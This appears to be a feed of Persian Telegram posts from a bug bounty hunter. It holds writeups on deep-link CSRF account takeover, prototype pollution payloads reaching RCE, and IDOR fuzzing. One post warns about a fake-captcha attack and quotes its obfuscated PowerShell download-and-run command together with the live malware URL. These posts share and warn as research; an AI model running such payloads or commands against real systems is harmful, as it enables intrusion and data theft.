همیشه یادتون باشه برای هانت نرو و دستی هم ماژول بزارین توی تاورتون چرا؟ یهو اینطوری یه فرش است میده بهتون و خوشحالتون میکنه!

همیشه برای هر ماژول یه اتومیشن برای اینکه روی همه اسکوپ ها تست بزنه بزارید یکی هم این که روی یه چیز خاص تست بزنه

موفق باشید!

اینقدری که توی این چند روز به DOMPurify خوردم و Stored XSS هام تبدیل به HTML Injection شده که اعصاب نمونده ، هرچی CVE برای این کتابخونه رو حفظ شدم دیگه! بالغ بر 16 تا باگ زدم توی این مدت ولی خب راحت 6 تاش این DOMpurify خراب کرده
چرا؟ چون میاد ورودی کاربر رو Sanitize میکنه و یعنی میبره توی فانکشن sanitize() و بعد میاد لود میکنه این باعث میشه بعضی از تگ ها مثل
<img src=x>
<a HreF="Google.com">CLICK ME!</a>

لود بشه رندر بشه ولی وقتی میای ایونت هندلر اضافه میکنی اونو برمیداره اون فانکشن sanitize
#تجربه

بزارید باگی که همین امشب ریپورتشو دادم رو توضیح بدم

Title: Full Account Takeover via Insecure Mobile Deep Link Handling Chained with QR-Code Login Session Hijack

قضیه از این قرار بود که دو روز قبل یه برنامه پرایوت اینوایت شدم که ۲۰۲۶ لانچ شده بود و کلن تا الان به یه ریپورت بانتی داده بودن
این برای هر هانتر یه برنامه طلاییه

خب رفتم اسکوپشو دیدم و فقط ۴ تا asset داشت
اپ ios
اپ android
یه دامنه که بالا نبود اصن یعنی dns record نداشت
و یه api

من معمولا روی وب کار میکنم که اینجا هم وبش بالا نبود
پس رفتم همینجوری اپ هاشو روی گوشی نصب کردم و پروکسی کردم روی برپ
ولی خب هنوز ssl pining رو بایپس نکرده بودم و فقط میتونستم یسری از درخواست هاشو ببینم و جالبیش این بود که تقریبا روی همه درخواست هاش CSRF میخورد
یعنی کوکی ها samesite نداشتن
پروتکشن CSRF اصن نداشت
فقط body درخواست های post از نوع JSON بود که اونم اگه به x-www-form-urlencoded عوضش میکردیم باز هم سرور قبول میکرد که یعنی CSRF داریم رو خیلی از درخواست هاش
ولی مشکل این بود که تارگتمون موبایل اپ هستش و باید حتما درخواست از توی مرورگر داخلیش فرستاده بشه تا مرورگر کوکی هارو ست کنه

بعد رفتم سراغ سورس کد اپ اندروید که با jadx تونستم دیکامپایل کنم و معمولا هر هانتری اولین چیزی که چک میکنه فایل AndroidManifest.xml هستش
خب اینو داشتم چک میکردم که دیدم یه deeplink داره اینجوری

<data
    android:scheme="iabc"
    android:host="webview"/>
<data
    android:scheme="abc"
    android:host="webview"/>

اونی که اولش i داره برای ios عه و اونی که نداره برای اندروید

iabc://webview

خب تا اینجاش فهمیدم که به احتمال زیاد ما یه webview داریم برا همین رفتم سورس کدی که با jadx دیکامپایل کردم رو دادم به هوش مصنوعی😁
و بهش گفتم برو سورس رو بخون و ببین زمانی که این لینک باز میشه چه اتفاقی میوفته
رفت خیلی دقیق چک کرد و کامل بهم توضیح داد که اینجا یه پارامتر url هم قبول میکنه
و هیچ ولیدیتی انجام نمیشه که ورودی این پارامتر چیه فقط چک میکرد که scheme باید http یا https باشه
رفتم تست کردم و دیدم آره این لینکو اگه توی گوشی باز کنیم ریدایرکت میشیم به مرورگر داخلی اپ

بعدش تست های زیادی زدم که اسکلیتش کنم به اکانت تیک اور
مثلا cookie های مرورگر رو بخونم یا sessionStorage شو بخونم
البته من تا الان روی اندروید باگ نزده بودم همه ی این تست هارو با سرچ کردن یاد گرفتم
آخرین گزینه که برام موند, استفاده از گجتی که قبلا پیدا کردم یعنی CSRF روی خیلی از درخواست هاش بود

رفتم توی سایت اصلیش و دیدم توی قسمت لاگینش یه گزینه داره Login with QRcode که اینو با گوشی اسکن میکنی و بعد میره توی اپ گوشی اونجا باید روی دکمه confirm کلیک کنی که اکانت توی وب بایند بشه
من فقط به آخرین درخواستی که برای بایند شدن فرستاده میشد نیاز داشتم رفتم نگاهش کردم و اون درخواست هم CSRF میخورد

سناریوشم اینجوری بود که وقتی توی وب روی گزینه Login with QRcode کلیک میکنی یه درخواست post میره به یه اندپوینتی و یه qrcodeToken ای برات ست میشد و همونو میفرستاد به اپ گوشی بعد اپ گوشی اونو توی درخواست آخری که برای بایند کردن بود میفرستاد و سمت سرور و اون توکن بایند میشد به کوکی های قربانی
حالا فقط نیازه من از سمت اتکر برم یه qrcodeToken بگیرم و بزارم توی deeplink و بفرستم برای قربانی
وقتی اینو باز میکنه مستقیم یه درخواست CSRF فرستاده میشه به سمت سرور و سرور اون توکن رو authenticate میکنه
از اون طرف هم اتکر توی وب فول اکانت تیک اور میکنه

حالا severity این باگم critical میشه
شاید بگید این که user interaction داره چرا critical بشه
چون که توی cvss score فیلد scope روی changed قرار میگیره
یعنی توکنی که روی گوشی لاگین بوده رو توی وب یا هر api دیگه ای میشه استفاده کرد

#Critical #ATO #Android #DeepLink #CSRF

🔖داستان RCE من و نیما

نمیدونستم تایتل رو چی بذارم که جذاب باشه ولی خب همین تایتل رو از من بپذیرید😁 قضیه اینه که چطور JavaScript weirdness میتونه تو لایه merge/assign نفوذ کنه؟ و ما چطور بهش به RCE رسیدیم.

چند روز پیش نیما که یکی از بچه های گل و پرتلاش چنل بهم پیام داد که یه تارگت SaaS خوب گیر اورده و تیبل بانتی خوبی داره و NestJS + React خوبی برای کار کردن داره منتها هرکاری کرده ریت لیمیت و 403 میخورده و یکم ریکان انجام داده و فهمیده تو لایه merge و configuration یه فلویی وجود داره ولی این فلو رو نتونسته پیدا کنه.

اندپوینت رو برام فرستاد و باهم دیگه مدتی رو به صورت لایو کار کردیم دیدیم اپلیکیشن کانفیگ هر کاربر رو با deep merge آپدیت میکنه و بک اند از lodash.merge استفاده میکنه و ورودی های بعدی JSON.parse مستقیم میرفتن تو فانکشن merge.
ماهم بخاطر اینکه نامردی در حق این proto نکنیم ، سناریو رو بردیم روی Prototype Chain رفتیم سراغ constructor.prototype و مسیرهای جایگزین Prototype Pollution و این دو تا مورد رو خوب کار کردیم . حقیقتا من برخلاف سناریو نیما ، دنبال یه gadget خوب بودم.
یه سری پیلود کلاسیک زدیم جواب نداد و یه سری وف و فیلتر جزئی روی proto و constructor بود بعد رفتیم سراغ constructor.prototype chain و nested pollution

حدود دو ساعت فاز انداختیم و یکم ریپتر بازی کردیم و نیما یه ریکوئست نمونه فرستاد برام منم پیلود رو ریفاین کردم :

{
  "preferences": {
    "theme": {
      "__proto__": {
        "isAdmin": true
      }
    }
  }
}

ولی خب ایمپکت لازم رو نداشت بعد عمیق تر زدیم روی Object.prototype و property های جساس و بالاخره یه جای قشنگ کارمون گرفت:

{
  "userConfig": {
    "constructor": {
      "prototype": {
        "pollutedKey": "controlled"
      }
    }
  }
}

برای confirm یه درخواست GET جدا به اندپوینت دیگه زدیم و دیدم property جدید روی ریسپانس آبجکت ظاهر میشه. یعنی pollution موفق بوده و به همه ابجکت ها propagate شده. بعد سراغ ایده خودم رفتیم یعنی gadget ، تو codebase از روی behavior متوجه شدیم یه بخش logging/internal template از user-controlled options استفاده میکنه . با pollution روی property مناسب تونستیم به RCE خیلی سکسی برسیم
بقیه کار رو سپرم به نیما و با یه ریورس شل تمیز confirm کرد.

خلاصه دم نیما گرم
گزارششو داده و بانتی که میگیره نوش جونش باشه
━━━━━━━━━━━━
https://t.me/public_sec

the Low and Valid bug : Html Injection Via Sending Email
Severity: Low Or Medium
Bounty: $0 Or $300

داشتم رایتاپ های IDOR رو میخوندم ، حقیقتا خیلی جلو تر از ما فکر میکنن، دو تا مشکل داریم ما و اولن خودم دارم اینو ، یکی اینکه وقتی یه api رو تست میکنیم برای IDOR نهایتا میایم ایدی عوض میکنیم ، ورب تمپرینگ میکنیم ، یا دیگه خیلی بخایم عمیق بشیم کانتنت تایپ عوض میکنیم ، ولی به موردی که الان توی چندین رایتاپ دیدم این بود که اونایی که حرفه این میان از وی بک آرکایو ، از گوگل ، سنسیس ، خود سورس کد جاوا اسکریپت و فایل ها و حتی داکیومنت میگردن پارامتر پیدا میکنن، لیست میکنن پارامتر هارو بعد پارامتر هارو به api اضافه میکنن ، حالا چرا؟ به این دلیل که یه api به این حالت ما دارین IDOR تست میکنیم
https://target.com/api/v2/cars/lableID?lid=15
ولی کار نمیکنه ، اومده بود چیکار کرده بود؟ اومده بود اینطوری فاز کرده بود
https://target.com/api/v2/cars/lableID?lid=15&FUZZ={1,3,5}
و از توی ریسپانس اون ریسپانسی که گفته بود این پارامتر این نوع دیتا رو نمیگیره رو بررسی کرده بود رسیده بود به این
https://target.com/api/v2/cars/lableID?lid=15&scope=read
و خیلی راحت یه باگ Critical با بانتی 3500$ رو زده بود، حقیقتا خود من بودم این کارو نمیکردم ، یعنی به ذهنم نمیرسیدا ، چرا 12 ساعت هانت میکنم ولی به ذهنم نمیرسید همچین حرکتی بزنم،!
گفتم شمام بدوونید شاید بعدا لازمتون بشه!

#تجربه

اقا سرویس aws رو خیلی بخونید،. حتی ریسپانس هدر هاشم مهمه بعضی وقتا با یه میس کانفیگ روی هدر های aws میتونی ato انجام بدی یا exposed sensitive data
رو وایدیت کنی، توضیحشو میدم براتون بزار باگش رو بزنم ولی اینو خوندم یه جا اگر واقعی باشه واقعا خفنه

یه عکس از یه عنکبوتی که در لیوان گیر کرده بوده
نمیتونسته بیاد بیرون ، انقدر تار بافته تا بیاد بیاد بالا ولی قبلش تار هاش تموم شده و مرده.
یکی نوشته بود

مرد ولی نه در انتهای لیوان!

حکایت خیلی از ما ها هست و تلاشی که میکنیم

پروکسی | پروکسی | پروکسی

☑️ @DarkProxy

این ویدیو ساخته شده با هوش مصنوعی به حدی خداس، حتی خود رونالدو هم لایکش کرده.


⭕️ @EfshaGari | رسانه افشا ⭕️

پارسال دقیقا در روز تولدم، اوایل کارم بود و تازه شروع کرده بودم به کار روی تارگت های ایرانی روی یه شرکت بزرگ ایرانی insecure file upload lead to RCE زده بودم به همراه یکی از رفقا داشتیم اکسپلویت میکردیم، در تلاش برای ورود به بازار کار ایران بودم

الان هم در تلاش برای ورود به بازار کار خارج از ایران، همیشه پشتکار و داشتن استعداد کَنِه بودن به همه کمک میکنه ( بچسبین به اهدافتون حتی زیر تیر و موشک)

#تولدم_مبارک🖤

خیلی خب بریم یه مدل از initial Access رو بهتون نشون بدم، این سایته چند ماهی هست من روش فیلم وسریال نگاه میکنم ولی طبق معمول مراقبم که اپی دانلود نشه و ....
نکته : بلور نمیکنم سایت رو.

ولی امروز سرپرایز شدم ، وقتی لود کردم این اومد ، وقتی کامند
WIN + R
رو دیدم گفتم قطعا داستان داره ،
داستان چیه؟ وقتی تیک ر ومیزنی که وریفای شی یه کد رو توی کلیپ برد شما سیو میکنه ، کد چیه؟ این

powershell -nop -w h -c "$OXCxH=([char[]]@(72,84,84,80,83,26,15,15,84,88,85,80,76,79,65,68,73,78,71,14,88,89,90,15,75,69,89,87,80,14,69,88,69)|%{[char]($_-bxor32)})-join'';$Ga='$env:TEMP\u.exe';iwr $OXCxH -Out $G;&$lQnuk"

این کد مبهم سازی شدس (obfuscated) که چیکار میکنه؟ خلاصش اینه که یه فایلی رو دانلود و اجرا میکنه

مراقب باشید، همینا باعث لو رفتن اطلاعات کرومتون ، رمز و پسورداتون ، حتی در بعضی شرایط که داستان مربوط به ریورس شل باشه میتونه اکسس بده به ویندوزتون

مراقب باشید ، برای اینکه بفهمی این مشکل داره علم زیادی نمیخاست که فقط کافی بود میدونستی

powershell چیه
win + R چیکار میکنه

ولی اگر کسی ندونه میزنه و تمام

فایلی که دانلود میکنه اینه : https://txupload.xyz/keywp.exe
کسی Ida Pro اگر داره پیویم پیام بده ریورسش کنیم ،

نکته : دانلود نکنید لینک رو ، اگر کردید اجرا نکنید، چون معلوم نیست چیه ، و طبق پاورشلی که زدن (دانلود میشه و اتومیت اجرا میشه) پس نباید اجرا کنید!

سایت
https://kiamovie.com/
میتونید تست کنید اصلا ، ولی انجام ندید کاراشو

رفتتم بررسیش کردم داستان چیه؟ 😂 داستان همون cve جدیدی هتسش که روی ورد پرس اومده، wp2shell
وقتی میای این دامنه kiamovie.com رو میدی به سایت
wp2shell.com
میبینی زده آسیب پذیر تست کردم دییدم بعله میتونی از طریق این cve یه shell بگیری روشون ، طرف اومده روش یه shell گرفته رفته یه فایل.js اضافه کرده که این کپچا رو لود میکنه،. اسم فایل هم حتی
Captcha.main2.js
بعد اومده خود این فایل رو اومده کد هایjs رو مبهم سازی کرده و hex کرده،
که خونده نشه،. ولی وقتی دیکد میکنی میشه تا حدودی خوندش!

خلاصه این wp2shell داره داستان مییشه مراقب باشید، حتی ممکنه فیشینگ پررداختی رو انجام بدن، شما که نمیدونید سناریوش یه shell میگیری
و بعد درگاه پرداخت رو تغییر میدی یه فیشینگ به درگاه پرداخت ملت و تمام حداقل بالای 1000 تا کاربر رو دور میزنی چرا؟ چون هیچکی اینطور چیزا رو نمیدونه

یکی از فایل آپلود های محبوب من aws ها هستن، چرا چون خیلی از میس کانفیگ هاشو کسی نمیدونه، وقتی ترکیب میشه با فیچر های دیگه کلی IDOR,BOLA,Insecure File UPload ایجاد میکنه!

مثلا یکی از روند هاش این بود که png اپلود میکنی ولی xss میزنی ، فکر کن یه لینک png میدی به قربانی ولی کد xss روش اجرا میشه اینا قدرت aws رو میرسونه!
و واقعا هم جذابن و باگ های خوبی هم میدن! فقط باید بتونی ترکیبشون کنی!
میذارم یه سناریوشو به زودی !

#تجربه

چند تا پسر ایرانی یه پسر بچه رو تو جاده دیدن که دستش تفنگ اسباب بازی داره؛

و حالا یه داستان جنایی راه انداختن که بالای 15 میلیون بازدید داشته😂



@insta_newz

کی گفته wp2shell دیگه پیدا نمیشه؟ اتفاقا خیلیم هست، موقعیت خوبیه!

حسین اقامیری میشناسید؟ نمیشناسید؟ برید بشناسید ، توی ایران حرف های حق زیاد زده میشه ولی منتها اینقدر زود توی نطفه خفه میشه که به گوش من و تو نمیرسه، من نمیگم آدم خوبیه ولی حرفی که ازش شنیدم خوب بوده ، انسانیت توش بوده!